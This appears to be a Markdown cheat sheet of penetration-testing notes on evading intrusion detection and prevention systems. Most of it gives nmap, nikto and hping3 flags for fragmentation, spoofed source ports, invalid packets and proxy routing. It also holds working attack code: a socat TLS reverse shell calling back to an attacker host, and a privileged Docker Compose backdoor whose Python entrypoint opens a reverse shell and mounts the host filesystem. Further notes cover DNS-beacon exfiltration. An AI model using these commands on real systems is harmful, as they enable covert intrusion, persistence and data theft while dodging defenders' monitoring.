115 lines
3.2 KiB
Markdown
115 lines
3.2 KiB
Markdown
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# IDS & IPS Evation
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* Evation by manipulation of
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* Tool parameters
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* Protocol
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* Payload
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* Route
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* Or DoS
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## Enumeration
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* [User-Agents](https://developers.whatismybrowser.com/useragents/explore/)
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### nmap
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* `--script-args http.useragent="<user-agent>"`
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* `-Ss` half open
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### nikto
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* `-useragent <user-agent>`
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* Tuning `-T 1 2 3`
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* __NOT__`-evasion <encoding-technique>`, it increases detection
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## Protocol Manipulation
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### Relying on another protocol
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* `nc -ulvnp 4711` for listening to incoming UDP traffic
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* `nc -u $TARGET_IP $TARGET_PORT` for connecting through UDP
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### Manipulation of the source's or LHOST's network port
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* `nmap -g 80` or `nmap --source-port 53` to send outgoing nmap traffic through it
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### Session splicing by fragmentation and segmentation
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* `nmap` fragmentation in 8 bytes `-f`, 16 bytes `-ff`, `--mtu <size>` for MTU
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* Use [Fragroute](https://www.monkey.org/~dugsong/fragroute/) with `ip_frag <num>` in `fragroute.conf`, then use `fragroute -f fragroute.conf $TARGET_IP`
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### Sending invalid packets
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* Invalid protocol header flags and checksums via`nmap --badsum`, `nmap --scanflags URG/ACK/PSH/RST/SYN/FIN`, e.g. concatentation of multiple flags `nmap --scanflags SYNRSTFIN`
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* `hping3` including `--ttl`, `--badsum`, header flags `-S`,`-A`,`-P`,`-U`,`-F`,`-R`
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## Payload Manipulation
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### Obfuscation and Encoding
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* Base64
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* URL
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* Escaped Unicode Characters
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### Encrypting Communication Channels
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* Use socat with encryption
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```sh
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openssl req -x509 -newkey rsa:2048 -days 356 -subj '/CN=www.example.com/O=YO/C=FR' -nodes -keyout id_rsa.key -out reverse.crt
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```
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* Create `.pem` (Privacy Enhanced Mail) file via
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```
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cat id_rsa.key reverse.crt > reverse.pem
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```
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* Listening on attacker side
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```sh
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socat -d -d OPENSSL-LISTEN:4711,cert=reverse.pem,verify=0,fork STDOUT
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```
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* On target
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```sh
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socat OPENSSL:$ATTACKER_IP:4711,verify=0 EXEC:/bin/bash
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```
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### Modification of Data
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* Order of parameters, instead of `nc -lvnp` it is `nc -vpnl`
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* Adding whitespaces to the commands
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* Use aliases
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## Route Manipulation
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### Relying on Source Routing
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* `nmap --ip-options "L 10.10.20.30 10.10.30.40` routes through these IPs loosely
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* `nmap --ip-options "S 10.10.20.30 10.10.30.40"` routes through the IPs strictly
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### Using Proxyy Servers
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* `nmap -sS http://$PROXY1:80,socks4://$PROXY:8080 $TARGET_IP`
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## Tactical DoS
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* Non malicious, benign traffic against
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* IDS/IPS
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* Logging server
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## MISC
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* Changing
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* `User-Agent`
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* Request frequency and duration of sleep
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* SSL/TLS certs
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* DNS beacon, storing exfiltrated data in the query
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## Backdoors
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* Backdooring without getting recognized by the IDS/IPS by reading its rules in the config file
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### Docker
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* Create a `docker-compose.yaml` file with a reverse shell as an entry point, mount the host volume to `/mnt` inside the container
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```yaml
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---
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version: "2.1"
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services:
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backdoorservice:
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restart: always
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image: <Found image>
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entrypoint: >
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python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
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s.connect(("<$ATTACKER_IP>",4711));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
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pty.spawn("/bin/sh")'
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volumes:
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- /:/mnt
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privileged: true
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```
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